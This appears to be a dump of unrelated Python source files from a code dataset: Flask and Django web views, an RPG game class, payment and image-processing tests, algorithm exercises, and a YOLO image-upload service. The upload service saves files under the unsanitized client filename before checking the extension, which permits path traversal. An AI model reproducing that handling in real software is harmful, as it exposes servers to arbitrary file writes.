requestData = request.get_json()\n name = requestData['name'].strip()\n\n except Exception as why:\n logging.info(\"Request is wrong: \" + str(why))\n return INVALID_INPUT\n \n people = Patient.query.filter(Patient.name.like('%{}%'.format(name))).all()\n\n if people is None:\n return DOES_NOT_EXIST\n \n # get all matched people\n output = list()\n for person in people:\n data = dict()\n data['name'] = person.name\n data['phone'] = person.phone\n output.append(data)\n \n return {\n 'status': 200,\n 'msg': 'Success',\n 'data': output,\n 'role': session['role'],\n 'session': session['phone number']\n }, 200\n\n @login_required\n def put(self):\n return EMPTY\n\n @login_required\n def delete(self):\n return EMPTY\n","sub_path":"resources/searchPatient.py","file_name":"searchPatient.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"192654197","text":"import random\n\n\n# Text styles\nclass Bcolors:\n HEADER = '\\033[33;1;4m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n OKYELLOW = '\\033[33m'\n TITLE = '\\033[1;43m'\n TITLE2 = '\\033[1;95m'\n TITLE3 = '\\033[1;91m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = \"\\033[1m\"\n UNDERLINE = \"\\033[4m\"\n TITLE4 = '\\033[1;30;42m'\n\n\n# create player class\nclass Person:\n # define the player parameters\n def __init__(self, name, hp, mp, atk, df, magic, items):\n self.name = name # player name\n self.hp = hp # hit points\n self.maxhp = hp\n self.mp = mp # magic points\n self.maxmp = mp\n self.atk = atk\n self.atkl = atk - 10\n self.atkh = atk + 10\n self.df = df # defence points\n self.magic = magic # magics abilities\n self.items = items\n self.actions = [\"Attack\", \"Magic\", \"Items\"]\n\n # generate random damage due to attack\n def generate_damage(self):\n return random.randrange(self.atkl, self.atkh)\n\n # calculate damage due to attack\n def take_damage(self, dmg):\n self.hp -= dmg\n\n # Set lowest hp to zero\n if self.hp < 0:\n self.hp = 0\n return self.hp\n\n # Get max hit points\n def get_hp(self):\n return self.hp\n\n # Get max hit points\n def get_max_hp(self):\n return self.maxhp\n\n # Get magic points\n def get_mp(self):\n return self.mp\n\n # Get max magic points\n def get_maxmp(self):\n return self.maxmp\n\n # subtract magic cost from magic points\n def reduce_mp(self, cost):\n self.mp -= cost\n\n # Choose Action to perform\n def choose_action(self):\n i = 1\n print(\"\\n \" + Bcolors.TITLE + \" ACTIONS \" + Bcolors.ENDC)\n for item in self.actions:\n print(\" \" + str(i) + \":\", item)\n i += 1\n\n # Choose magic to perform\n def choose_magic(self):\n i = 1\n print(\"\\n \" + Bcolors.TITLE2 + \" MAGIC \" + Bcolors.ENDC)\n for spell in self.magic:\n print(\" \" + str(i) + \":\", spell.name, \"(cost:\", spell.cost, \")\")\n i += 1\n\n # Choose item to use\n def choose_item(self):\n i = 1\n print(\"\\n \" + Bcolors.TITLE3 + \" ITEMS \" + Bcolors.ENDC)\n for item in self.items:\n print(\" \" + str(i) + \".\" + item[\"item\"].name + \":\", item[\"item\"].description, \" (x\" + str(item[\"quantity\"]) + \")\")\n i += 1\n\n # get enemy stats\n def get_enemy_stats(self):\n # HP Bar\n hp_bar = \"\"\n hp_bar_ticks = (self.hp/self.maxhp) * 100 / 2.6\n\n while hp_bar_ticks > 0:\n hp_bar += \"█\"\n hp_bar_ticks -= 1\n\n while len(hp_bar) < 39:\n hp_bar += \" \"\n\n # fix white spaces in numbers\n hp_string = str(self.hp) + \"/\" + str(self.maxhp)\n current_hp = \"\"\n\n if len(hp_string) < 9:\n hp_decreased = 9 - len(hp_string)\n\n while hp_decreased > 0:\n current_hp += \" \"\n hp_decreased -= 1\n\n current_hp += hp_string\n else:\n current_hp = hp_string\n\n # print status\n print(Bcolors.FAIL + str(self.name) + \" \" + Bcolors.FAIL + current_hp + \" |\" + hp_bar + \"| \" + Bcolors.ENDC)\n\n # get player stats\n def get_stats(self):\n\n # HP Bar\n hp_bar = \"\"\n hp_bar_ticks = (self.hp/self.maxhp) * 100 / 4\n\n while hp_bar_ticks > 0:\n hp_bar += \"█\"\n hp_bar_ticks -= 1\n\n while len(hp_bar) < 25:\n hp_bar += \" \"\n\n # MP Bar\n mp_bar = \"\"\n mp_bar_ticks = (self.mp/self.maxmp) * 100 / 10\n\n while mp_bar_ticks > 0:\n mp_bar += \"█\"\n mp_bar_ticks -= 1\n\n while len(mp_bar) < 10:\n mp_bar += \" \"\n\n # fix white spaces in numbers\n hp_string = str(self.hp) + \"/\" + str(self.maxhp)\n current_hp = \"\"\n\n if len(hp_string) < 9:\n hp_decreased = 9 - len(hp_string)\n\n while hp_decreased > 0:\n current_hp += \" \"\n hp_decreased -= 1\n\n current_hp += hp_string\n else:\n current_hp = hp_string\n\n # fix white spaces in numbers\n mp_string = str(self.mp) + \"/\" + str(self.maxmp)\n current_mp = \"\"\n\n if len(mp_string) < 7:\n mp_decreased = 7 - len(mp_string)\n\n while mp_decreased > 0:\n current_mp += \" \"\n mp_decreased -= 1\n\n current_mp += mp_string\n else:\n current_mp = mp_string\n\n # print status\n print(Bcolors.OKYELLOW + str(self.name) + \" \"\n + Bcolors.OKGREEN + current_hp + \" |\" + hp_bar + \"| \"\n + Bcolors.OKBLUE + current_mp + \" |\" + mp_bar + \"| \"\n + Bcolors.ENDC)\n\n # Heal\n def heal(self, dmg):\n self.hp += dmg\n if self.hp > self.maxhp:\n self.hp = self.maxhp\n return self.hp\n\n # Get magic spell name\n def get_spell_name(self, i):\n return self.magic[i][\"name\"]\n\n # Get magic spell cost\n def get_spell_mp_cost(self, i):\n return self.magic[i][\"cost\"]\n\n # Choose enemy to attack\n def choose_target(self, enemies):\n i = 1\n print(\"\\n \" + Bcolors.TITLE + \" Enemies \" + Bcolors.ENDC)\n for enemy in enemies:\n if enemy.get_hp() != 0:\n print(\" \" + str(i) + \":\", enemy.name)\n i += 1\n\n choice = int(input(\"Choose Enemy:\")) - 1\n return choice\n\n # Enemy choose spell to use\n def choose_enemy_spell(self):\n magic_choice = random.randrange(0, len(self.magic))\n spell = self.magic[magic_choice]\n magic_dmg = spell.generate_damage()\n\n pct = self.hp / self.maxhp * 100\n if self.mp < spell.cost or spell.type == \"white\" and pct > 50:\n spell, magic_dmg = self.choose_enemy_spell()\n\n return spell, magic_dmg\n","sub_path":"rpg game in python/classes/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"14229160","text":"# -*- coding: utf-8 -*-\r\nimport shapes\r\nimport random\r\n# Demonstração de uso das classes Circle, App\r\n\r\n# cria a janela de tamanho 500x250 pixels (largura x altura)\r\napp = shapes.App(500, 250)\r\n\r\n# cria dois circulos para desenhar na janela\r\nc1 = shapes.Circle(20, 30, 50, 'red', app)\r\nc2 = shapes.Circle(12, 70, 25, 'green', app)\r\n# efetivamente desenha os circulos na janela\r\nc1.draw()\r\nc2.draw()\r\n\r\n# inicia a janela, a partir de agora \r\napp.mainloop()\r\nfor n in range(1,10000):\r\n\tapp.mainloop()\r\n\tc1.erase()\r\n\tx = random.randrange(0, 500)\r\n\ty = random.randrange(0, 250)\r\n\tc1 = shapes.Circle(20, x, y, 'red', app)\r\n\tc1.draw()\r\n\t","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"270483557","text":"from __future__ import absolute_import, unicode_literals\n\nimport responses\nfrom altapay import API, Invoice\n\nfrom .test_cases import TestCase\n\n\nclass InvoiceTest(TestCase):\n\n def setUp(self):\n self.api = API(mode='test', auto_login=False)\n\n @responses.activate\n def test_create_simple_invoice_request(self):\n\n invoice = Invoice(api=self.api)\n\n responses.add(\n responses.POST,\n self.get_api_url('API/createInvoiceReservation'),\n body=self.load_xml_response(\n '200_create_invoice_reservation_simple.xml'),\n status=200,\n content_type='application/xml')\n\n parameters = {\n 'terminal': 'AltaPay Test Invoice Terminal DK',\n 'shop_orderid': 111222333,\n 'amount': 133.33,\n 'currency': 'DKK',\n 'customer_info': {\n 'billing_postal': 9400,\n 'billing_address': 'Address 12',\n 'email': 'foo@bar.com'\n }\n }\n\n self.assertEqual(invoice.create(**parameters), True)\n\n dict = invoice.__data__\n trans = dict['transactions']['transaction']\n\n self.assertEqual(trans['terminal'], parameters['terminal'])\n self.assertEqual(\n trans['shop_order_id'],\n parameters['shop_orderid'])\n self.assertEqual(\n trans['customer_info']['billing_address']['address'],\n parameters['customer_info']['billing_address'])\n self.assertEqual(\n trans['customer_info']['billing_address']['postal_code'],\n parameters['customer_info']['billing_postal'])\n self.assertEqual(\n trans['customer_info']['email'],\n parameters['customer_info']['email'])\n\n self.assertEqual(invoice.success, True)\n # self.assert (dict['card_holder_error_message'])\n # self.assert (dict['merchant_error_message'])\n\n @responses.activate\n def test_create_complex_invoice_request(self):\n\n invoice = Invoice(api=self.api)\n\n responses.add(\n responses.POST,\n self.get_api_url('API/createInvoiceReservation'),\n body=self.load_xml_response(\n '200_create_invoice_reservation_complex.xml'),\n status=200,\n content_type='application/xml')\n\n params = {\n\n 'terminal': 'AltaPay Test Invoice Terminal DK',\n 'shop_orderid': '444555 complex invoice',\n 'amount': 666.66,\n 'currency': 'DKK',\n\n 'transaction_info': {\n 'ArbitraryInfo1': 'ArbitraryInfo2'\n },\n\n 'type': 'payment',\n 'accountNumber': '111',\n 'bankCode': '222',\n 'fraud_service': 'maxmind',\n 'payment_source': 'eCommerce',\n 'organisationNumber': '333',\n 'personalIdentifyNumber': '444',\n 'birthDate': '555',\n\n 'orderLines': [\n {\n 'description': 'Description of the order line',\n 'itemId': '123456',\n 'quantity': 1,\n 'unitPrice': 500\n }\n ],\n\n 'customer_info': {\n 'email': 'customer@email.com',\n 'username': 'leatheruser',\n 'customer_phone': 4512345678,\n 'bank_name': 'Gotham Bank',\n 'bank_phone': '666 666 666',\n 'billing_firstname': 'Bruce',\n 'billing_lastname': 'Wayne',\n 'billing_city':\t'Gotham City',\n 'billing_region': 'Dark Region',\n 'billing_postal': '123',\n 'billing_country': 'Bat Country',\n 'billing_address': '101 Night Street',\n 'shipping_firstname': 'Jack',\n 'shipping_lastname': 'Napier',\n 'shipping_address':\t'42 Joker Avenue',\n 'shipping_city': 'Big Smile City',\n 'shipping_region': 'Umbrella Neighbourhood',\n 'shipping_postal': '002',\n 'shipping_country': 'Laughistan',\n },\n\n }\n\n self.assertEqual(invoice.create(**params), True)\n\n dict = invoice.__data__\n trans = dict['transactions']['transaction']\n\n self.assertEqual(trans['terminal'], params['terminal'])\n self.assertEqual(\n trans['shop_order_id'],\n params['shop_orderid'])\n\n self.assertEqual(trans['auth_type'], params['type'])\n\n self.assertEqual(\n trans['payment_infos']['payment_info']['@name'],\n 'ArbitraryInfo1')\n self.assertEqual(\n trans['payment_infos']['payment_info']['#text'],\n 'ArbitraryInfo2')\n\n self.assertEqual(\n trans['customer_info']['email'],\n params['customer_info']['email'])\n self.assertEqual(\n trans['customer_info']['username'],\n params['customer_info']['username'])\n self.assertEqual(\n trans['customer_info']['customer_phone'],\n params['customer_info']['customer_phone'])\n\n self.assertEqual(\n trans['customer_info']['billing_address']['firstname'],\n params['customer_info']['billing_firstname'])\n self.assertEqual(\n trans['customer_info']['billing_address']['lastname'],\n params['customer_info']['billing_lastname'])\n self.assertEqual(\n trans['customer_info']['billing_address']['city'],\n params['customer_info']['billing_city'])\n self.assertEqual(\n trans['customer_info']['billing_address']['region'],\n params['customer_info']['billing_region'])\n self.assertEqual(\n trans['customer_info']['billing_address']['postal_code'],\n int(params['customer_info']['billing_postal']))\n self.assertEqual(\n trans['customer_info']['billing_address']['country'],\n params['customer_info']['billing_country'])\n self.assertEqual(\n trans['customer_info']['billing_address']['address'],\n params['customer_info']['billing_address'])\n\n self.assertEqual(\n trans['customer_info']['shipping_address']['firstname'],\n params['customer_info']['shipping_firstname'])\n self.assertEqual(\n trans['customer_info']['shipping_address']['lastname'],\n params['customer_info']['shipping_lastname'])\n self.assertEqual(\n trans['customer_info']['shipping_address']['city'],\n params['customer_info']['shipping_city'])\n self.assertEqual(\n trans['customer_info']['shipping_address']['region'],\n params['customer_info']['shipping_region'])\n self.assertEqual(\n trans['customer_info']['shipping_address']['postal_code'],\n int(params['customer_info']['shipping_postal']))\n self.assertEqual(\n trans['customer_info']['shipping_address']['country'],\n params['customer_info']['shipping_country'])\n self.assertEqual(\n trans['customer_info']['shipping_address']['address'],\n params['customer_info']['shipping_address'])\n\n self.assertEqual(invoice.success, True)\n","sub_path":"tests/test_invoice.py","file_name":"test_invoice.py","file_ext":"py","file_size_in_byte":7281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"550725526","text":"from apps.photo.photo import Photo, BlurResize, WidthResize\nfrom django.conf import settings\nfrom django.core.files.uploadedfile import InMemoryUploadedFile\nfrom django.test import override_settings, TestCase\nfrom os.path import getsize\nfrom PIL import Image, ImageCms\nimport io\n\n\nclass TestPhoto(TestCase):\n def test_photo_read_successful(self):\n \"\"\"\n Test that we can open an image file\n\n :return: None\n \"\"\"\n photo = Photo(open('apps/common/test/data/photos/photo1-min.jpg', 'rb'))\n\n self.assertIsNotNone(photo.name)\n self.assertEquals(photo.width, 750)\n self.assertEquals(photo.height, 749)\n\n def test_photo_bad_type(self):\n \"\"\"\n Test that we get TypeError if we don't supply a file\n\n :return: None\n \"\"\"\n with self.assertRaises(TypeError):\n Photo('foo')\n\n def test_photo_compress(self):\n \"\"\"\n Test that we can get compressed image in in-memory bytes\n\n :return: None\n \"\"\"\n file = 'apps/common/test/data/photos/md-portrait.jpg'\n\n photo = Photo(open(file, 'rb'))\n image = photo.compress()\n\n pil_image = Image.open(image)\n\n self.assertIsInstance(image, InMemoryUploadedFile)\n self.assertEquals(pil_image.size[0], 2048)\n\n @override_settings(REMOTE_IMAGE_STORAGE=False,\n DEFAULT_FILE_STORAGE='django.core.files.storage.FileSystemStorage')\n def test_photo_save_compressed_local(self):\n \"\"\"\n Test that we can save compressed images in media\n\n :return: None\n \"\"\"\n file = 'apps/common/test/data/photos/photo1-min.jpg'\n saved = 'img.jpg'\n\n photo = Photo(open(file, 'rb'))\n photo.resize(max_width=2000)\n photo.save(saved, quality=80)\n\n self.assertLess(getsize(file), getsize('{}/{}'.format(settings.MEDIA_ROOT, saved)))\n\n def test_photo_save_remote_custom_bucket(self):\n \"\"\"\n Test that we can save to custom remote bucket\n\n :return: None\n \"\"\"\n file = 'apps/common/test/data/photos/cover.jpg'\n\n photo = Photo(open(file, 'rb'))\n saved = photo.save('custom_bucket.jpg', custom_bucket='aovdev1', quality=80)\n\n self.assertIsNotNone(saved)\n\n\nclass TestBlurResize(TestCase):\n \"\"\"\n Test that we can resize and blur an image\n \"\"\"\n def test_blur_resize_successful(self):\n \"\"\"\n Test that image is resized to 300px wide\n\n :return: None\n \"\"\"\n f = 'apps/common/test/data/photos/4mb.jpg'\n img = Image.open(f)\n\n image = BlurResize()\n new_img = image.process(img)\n\n self.assertEquals(new_img.size[0], 300)\n self.assertEquals(new_img.size[1], 373)\n\n def test_blur_resize_upscale(self):\n \"\"\"\n Test that we can blur + resize an image and that it upscales\n\n :return: None\n \"\"\"\n f = 'apps/common/test/data/photos/photo1-min.jpg'\n img = Image.open(f)\n\n image = BlurResize(width=2048, upscale=True)\n new_img = image.process(img)\n\n self.assertEquals(new_img.size[0], 2048)\n self.assertEquals(new_img.size[1], 2045)\n\n\nclass TestWidthResize(TestCase):\n def test_width_resize_successful(self):\n \"\"\"\n Test that we can resize an image\n\n :return: None\n \"\"\"\n f = 'apps/common/test/data/photos/4mb.jpg'\n img = Image.open(f)\n\n image = WidthResize(width=1242)\n new_img = image.process(img)\n\n self.assertEquals(new_img.size[0], 1242)\n self.assertEquals(new_img.size[1], 1548)\n\n def test_width_resize_no_upscale(self):\n \"\"\"\n Test that we can resize an image and that it does not upscales\n\n :return: None\n \"\"\"\n f = 'apps/common/test/data/photos/photo1-min.jpg'\n img = Image.open(f)\n\n image = WidthResize(width=2048, upscale=False)\n new_img = image.process(img)\n\n self.assertEquals(new_img.size[0], 750)\n self.assertEquals(new_img.size[1], 749)\n\n def test_width_resize_upscale(self):\n \"\"\"\n Test that we can resize an image and that it upscales\n\n :return: None\n \"\"\"\n f = 'apps/common/test/data/photos/photo1-min.jpg'\n img = Image.open(f)\n\n image = WidthResize(width=2048, upscale=True)\n new_img = image.process(img)\n\n self.assertEquals(new_img.size[0], 2048)\n self.assertEquals(new_img.size[1], 2045)\n","sub_path":"apps/photo/test/test_photo.py","file_name":"test_photo.py","file_ext":"py","file_size_in_byte":4464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"461384356","text":"# 현재 나이트의 위치 입력받기\r\ninput_data = input()\r\nrow = int(input_data[1])\r\ncolumn = int(ord(input_data[0])) - int(ord('a'))+1\r\n\r\n# ord('단일문자') : 단일 문자의 아스키 값 반환\r\nprint(ord(input_data[0]))\r\nprint(ord('a'))\r\n\r\n#나이트가 이동할 수 있는 8가지 방향\r\nsteps = [(-2,-1),(-1,-2),(1,-2),(2,-1),(2,1),(1,2),(-1,2),(-2,1)]\r\n\r\n# 8가지 방향에 대해 각 위치로 이동이 가능한지 확인\r\nresult = 0\r\nfor step in steps:\r\n #이동하고자 하는 위치 확인\r\n next_row = row + step[0]\r\n next_column = column + step[1]\r\n #해당 위치로 이동이 가능하면 카운트 증가\r\n if next_row >=1 and next_column >=1 and next_row <=8 and next_column <= 8 :\r\n result +=1\r\n\r\nprint(result)","sub_path":"Implementation/Implementation-왕실의 나이트.py","file_name":"Implementation-왕실의 나이트.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"133938629","text":"def poisci_v_neurejenem(seznam, x):\n '''Vrne True, kadar se x pojavi v seznamu, in False, kadar se ne.'''\n for y in seznam:\n if x == y:\n return True\n return False\n\n\ndef poisci_vrednost_v_neurejenem(seznam, iskani_kljuc):\n '''Vrne pripadajočo vrednost ključa v seznamu. Ce je ni, vrne None.'''\n for kljuc, vrednost in seznam:\n if iskani_kljuc == kljuc:\n return vrednost\n return None\n\n\n# T(n)\ndef poisci_v_urejenem_napacen(seznam, x):\n '''Vrne True, kadar se x pojavi v seznamu, in False, kadar se ne.'''\n\n # O(1)\n if len(seznam) == 0:\n return False\n\n # O(1)\n sredina = len(seznam) // 2\n\n # O(1)\n if x == seznam[sredina]:\n # O(1)\n return True\n\n # O(1)\n elif x < seznam[sredina]:\n # T(n / 2) + O(n)\n return poisci_v_urejenem_napacen(seznam[:sredina], x)\n\n # O(1)\n elif x > seznam[sredina]:\n # T(n / 2) + O(n)\n return poisci_v_urejenem_napacen(seznam[sredina + 1:], x)\n\n\n# T(n)\ndef poisci_v_urejenem(seznam, x, zacetek=0, konec=None):\n '''Vrne True, kadar se x pojavi v seznamu, in False, kadar se ne.'''\n if konec is None:\n konec = len(seznam)\n\n # O(1)\n if zacetek == konec:\n return False\n\n # O(1)\n sredina = (zacetek + konec) // 2\n\n # O(1)\n if x == seznam[sredina]:\n # O(1)\n return True\n\n # O(1)\n elif x < seznam[sredina]:\n # T(n / 2)\n return poisci_v_urejenem(seznam, x, zacetek, sredina)\n\n elif x > seznam[sredina]:\n # T(n / 2)\n return poisci_v_urejenem(seznam, x, sredina, konec)\n","sub_path":"datoteke-s-predavanj/2015-16/06-iskanje/matematiki/iskanje.py","file_name":"iskanje.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"576193879","text":"from flask import Flask, request\nimport os\nimport subprocess\n\napp = Flask(__name__)\n\nUPLOAD_FOLDER = 'yolo-network/data/'\nALLOWED_EXTENSIONS = set(['jpg', 'jpeg'])\n\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n@app.route('/yolo-test/', methods=['POST'])\ndef get_image_save_and_process():\n if request.method == 'POST':\n if 'image' in request.files:\n file = request.files['image']\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))\n\n if file and allowed_file(file.filename):\n os.system('nvidia-smi')\n #os.system('./yolo-network/darknet detector test yolo-network/cfg/coco.data yolo-network/cfg/yolov3.cfg yolo-network/yolov3.weights yolo-network/data/'+file.filename)\n p = subprocess.Popen(['./yolo-network/darknet', 'detector', 'test', 'yolo-network/cfg/coco.data', 'yolo-network/cfg/darknet19.cfg', 'yolo-network/darknet19.weights', 'yolo-network/data/'+file.filename], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n out, err = p.communicate()\n\n return str(out.decode(\"utf-8\"))\n return 'Put an image mate'\n\n#@app.route('/yolo-train/', methods=['POST'])\n#def get_network_config_and_train():\n# if request.method == 'POST':\n# os.system('nvidia-smi')\n# os.system('./yolo-network/darknet detector train yolo-network/cfg/voc.data yolo-network/cfg/yolov3-voc.cfg yolo-network/darknet53.conv.74')\n\n\n# @app.route('/imagenet-test/', methods=['POST'])\n\n\n\n# @app.route('/imagenet-train/', methods=['POST'])\n\n\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0', port=5021)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"307170648","text":"# Opens 5 threads with timestamps. Each thread makes a simple mathematical operation. Works in Python 2 and 3 (at least x2 faster)\n\nimport threading\nimport datetime\n\nthreads = []\n\ndef worker(counter):\n \"\"\"thread worker function\"\"\"\n y=0\n\n for i in range(3000000):\n y+=i\n print('Thread: ',threads[counter])\n print('Stop: ',datetime.datetime.now())\n print('----------------------------------')\n return\n\nfor i in range(5):\n t = threading.Thread(target=worker,args=(i,))\n threads.append(t)\n print('Thread: ',threads[i])\n print('Start: ',datetime.datetime.now())\n print('----------------------------------')\n t.start()\n\n","sub_path":"mythreading.py","file_name":"mythreading.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"367450643","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 3 23:33:22 2021\n\n@author: AKayal\n\"\"\"\nimport epai_3_13_lazy_iterator_generator\nfrom epai_3_13_lazy_iterator_generator import *\n\nimport epai_3_13_lazy_iterator_file_reader\nfrom epai_3_13_lazy_iterator_file_reader import *\nimport pandas as pd\n\nclass FileIterator(object):\n \n \"\"\"\n implementing an Iterator as a Class. One way to create iterators in Python is defining a class which implements the methods __init__ and __next__. \n We show this by implementing a class cycle, which can be used to cycle over an iterable object forever. In other words, an instance of this class returns the element of an iterable until it is exhausted. Then it repeats the sequence indefinitely.\n https://www.python-course.eu/python3_generators.php\n \"\"\"\n \n def __init__(self, iterable):\n self.iterable = iterable\n self.iter_obj = iter(iterable)\n self.parking_detailsx = \"\"\n self.header = True\n self.header_info =\"\"\n self.data_frame = pd.read_csv(\"nyc_parking_tickets_extract-1.csv\", encoding='utf8')\n\n def __iter__(self):\n return self\n \n def return_group_by_make(self):\n return self.data_frame.groupby(\"Vehicle Make\")[\"Violation Description\"].count().sort_values(ascending=False)\n \n def __next__(self):\n while True:\n try:\n if (self.header):\n next_obj = next(self.iter_obj)\n self.value = next_obj\n self.header_info = [\"SummonsNumber\",\"PlateID\",\n \"RegistrationState\",\"PlateType\",\"IssueDate\",\"ViolationCode\",\"VehicleBodyType\",\"VehicleMake\",\"ViolationDescription\"]\n self.header = False\n else:\n next_obj = next(self.iter_obj)\n self.value = next_obj\n print(next_obj)\n # car_fine_rec = self.car_fine(self.value.split (\",\"))\n # car_fine = namedtuple(\"car_fine\", self.header_info, rename=False)\n # car_fine_rec = car_fine('car_fine',\n # self.header_info[0],\n # self.header_info[1],\n # self.header_info[2],\n # self.header_info[3],\n # self.header_info[4],\n # self.header_info[5],\n # self.header_info[6],\n # self.header_info[7]) \n self.parking_detailsx = parking_details(self.header_info[0],\n self.header_info[1],\n self.header_info[2],\n self.header_info[3],\n self.header_info[4],\n self.header_info[5],\n self.header_info[6],\n self.header_info[7],\n self.header_info[8])\n\n return next_obj\n except StopIteration:\n self.iter_obj = iter(self.iterable)\n\n\nfilerecord = parking_tickets()\n# print(type(filerecord.return_file_iterator))\n# for brand in filerecord.return_file_iterator:\n# print(brand, end=\", \") \n\n \nFileIterator_x = FileIterator(filerecord.return_file_iterator)\n\nfor i in range(100):\n next(FileIterator_x)\n print(FileIterator_x.parking_detailsx)\n # print(next(x), end=\", \")\n\nprint(f\"Number of Violation by Car Make:{FileIterator_x.return_group_by_make()}\")","sub_path":"epai_3_13_file_iterator.py","file_name":"epai_3_13_file_iterator.py","file_ext":"py","file_size_in_byte":3750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"47462238","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom main import models\nimport random\nimport datetime\n# Create your views here.\n\ndef index(request):\n boards = models.Board.objects.order_by(\"boardname\")\n indexcontext = {\"boards\":boards}\n return render(request, \"index.html\", indexcontext)\n\ndef boards(request, board=\"r\"):\n posts = models.Post.objects.filter(postboard=board).order_by(\"-postid\")[:100]\n replies = []\n for o in posts:\n temp = tuple(models.Post.objects.filter(postparent=o.postid))\n for x in temp:\n replies.append(x)\n boardscontext = {\"posts\":posts, \"board\":board, \"boardtopic\":models.Board.objects.get(boardname=board).boardtopic, \"replies\":replies}\n\n models.Board.objects.get(boardname=board).boardposts = len(models.Post.objects.filter(postboard=board))\n models.Board.objects.get(boardname=board).save()\n # userpost = models.Post()\n # userpost.postcontent = request.POST.get(\"newpost\", \"\")\n # userpost.postid = random.randrange(0,100,1)\n # if userpost.postcontent:\n # userpost.save()\n if \"submit-post\" in request.POST:\n userpost = models.Post()\n userpost.postid = int(models.Post.objects.filter().order_by(\"-postid\")[0].postid + 1)\n userpost.postimg = request.POST.get(\"userimage\", \"\")\n userpost.postcontent = request.POST.get(\"usertext\", \"\")\n userpost.postauthor = request.POST.get(\"username\", \"\")\n userpost.postboard = board\n userpost.postparent = 0\n userpost.save()\n return render(request, \"board.html\", boardscontext)\n\ndef reply(request, board=\"r\", postid=\"0\"):\n parent = models.Post.objects.get(postid=postid)\n replies = models.Post.objects.filter(postparent=postid)\n replycontext = {\"parent\":parent, \"replies\":replies}\n if \"submit-post\" in request.POST:\n userpost = models.Post()\n userpost.postid = int(models.Post.objects.filter().order_by(\"-postid\")[0].postid + 1)\n userpost.postimg = request.POST.get(\"userimg\", \"\")\n userpost.postcontent = request.POST.get(\"usertext\", \"\")\n userpost.postauthor = request.POST.get(\"username\", \"\")\n userpost.postboard = board\n userpost.postparent = parent.postid\n userpost.save()\n return render(request, \"reply.html\", replycontext)\n","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"646773434","text":"# -- Game Over Screen\r\nimport sys\r\nimport pygame\r\nfrom pygame.locals import *\r\nfrom Vconstants import *\r\nfrom os import path\r\n\r\nimg_dir = path.join(path.dirname(__file__), 'img')\r\n\r\n# Set the screen dimensions\r\nsize = [SCREEN_WIDTH, SCREEN_HEIGHT]\r\nscreen = pygame.display.set_mode(size)\r\n\r\npygame.display.set_caption(\"Helper's Venture\")\r\n\r\nclock = pygame.time.Clock()\r\n\r\nzoneImg = pygame.image.load(path.join(img_dir,'loadzone.png')).convert()\r\nspidey = pygame.image.load(path.join(img_dir,'spidey.png')).convert()\r\nsadhench = pygame.image.load(path.join(img_dir,'sadhench.png')).convert()\r\nbathank = pygame.image.load(path.join(img_dir,'bathank.png')).convert()\r\n\r\n\r\ndef gameOver():\r\n pygame.init()\r\n\r\n overfont = pygame.font.Font('freesansbold.ttf', 65, owidth=10, ocolor=black)\r\n overText1 = overfont.render('T.H.E', True, blue)\r\n overText2 = overfont.render('E.N.D', True, blue )\r\n\r\n # ----Spidey\r\n spidey_x = 340\r\n spidey_y = -250\r\n\r\n spideyy_change = 2\r\n\r\n # --- BatHanks\r\n bhank1_x = 150\r\n bhank2_x = 475\r\n bhank_y = -125\r\n\r\n bhanky_change = 5\r\n\r\n # ---Text\r\n overRect1_x = 10\r\n overRect1_y = 250\r\n\r\n overRect2_x = 670\r\n overRect2_y = 250\r\n\r\n overRect1x_change = 5\r\n overRect2x_change = -5\r\n\r\n\r\n\r\n\r\n while True:\r\n\r\n overRect1_x += overRect1x_change\r\n overRect2_x += overRect2x_change\r\n\r\n if overRect1_x > 300 or overRect1_x < 0:\r\n overRect1x_change = overRect1x_change * -1\r\n if overRect2_x > 670 or overRect2_x < 400:\r\n overRect2x_change = overRect2x_change * -1\r\n\r\n # Spidey Animation\r\n spidey_y += spideyy_change\r\n\r\n if spidey_y > -10 or spidey_y < -255:\r\n spideyy_change = spideyy_change * -1\r\n\r\n # -- BatHanks Animation\r\n bhank_y += bhanky_change\r\n\r\n if bhank_y > 601:\r\n bhank_y = -125\r\n\r\n # Add BG\r\n screen.blit(pygame.transform.scale(sadhench, (SCREEN_WIDTH, SCREEN_HEIGHT)), (0,0))\r\n\r\n overRect1 = overText1.get_rect()\r\n overRect1.topleft = (overRect1_x, overRect1_y)\r\n\r\n\r\n overRect2 = overText2.get_rect()\r\n overRect2.topleft = (overRect2_x, overRect2_y)\r\n\r\n 